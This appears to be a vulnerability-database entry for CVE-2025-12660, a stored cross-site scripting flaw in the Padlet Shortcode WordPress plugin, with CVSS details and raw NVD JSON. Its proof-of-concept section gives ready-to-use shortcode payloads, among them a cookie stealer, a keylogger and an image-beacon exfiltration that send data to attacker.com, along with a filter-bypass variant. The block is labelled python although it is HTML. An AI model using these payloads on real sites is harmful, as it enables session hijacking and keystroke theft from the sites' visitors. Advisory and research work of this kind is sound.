Security Vulnerability Report
中文
CVE-2025-12660 CVSS 6.4 MEDIUM

CVE-2025-12660

Published: 2025-11-21 08:15:53
Last Modified: 2026-04-15 00:35:42

Description

The Padlet Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'key' parameter in the 'wallwisher' shortcode in all versions up to, and including, 1.3. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

wallwisher-shortcode (Padlet Shortcode) <= 1.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-12660 PoC: Stored XSS via wallwisher shortcode 'key' parameter --> <!-- Authenticated Contributor+ role required --> <!-- Basic XSS payload --> [wallwisher key="<img src=x onerror=alert(document.cookie)>"] <!-- Cookie stealing payload --> [wallwisher key="<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>"] <!-- Keylogger payload --> [wallwisher key="<script>document.addEventListener('keypress',function(e){fetch('https://attacker.com/log?k='+e.key)})</script>"] <!-- Bypass basic filters - using various encoding --> [wallwisher key="<svg onload=alert(String.fromCharCode(88,83,83))>"] <!-- Real-world attack scenario --> [wallwisher key="<script>var i=new Image;i.src='https://attacker.com/cookie?c='+document.cookie;</script>"]

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12660", "sourceIdentifier": "[email protected]", "published": "2025-11-21T08:15:53.460", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Padlet Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'key' parameter in the 'wallwisher' shortcode in all versions up to, and including, 1.3. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wallwisher-shortcode/tags/1.3/wallwisher.php#L22", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/wallwisher-shortcode/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/09989141-43ba-446c-8230-0485add7a1e2?source=cve", "source": "[email protected]"}]}}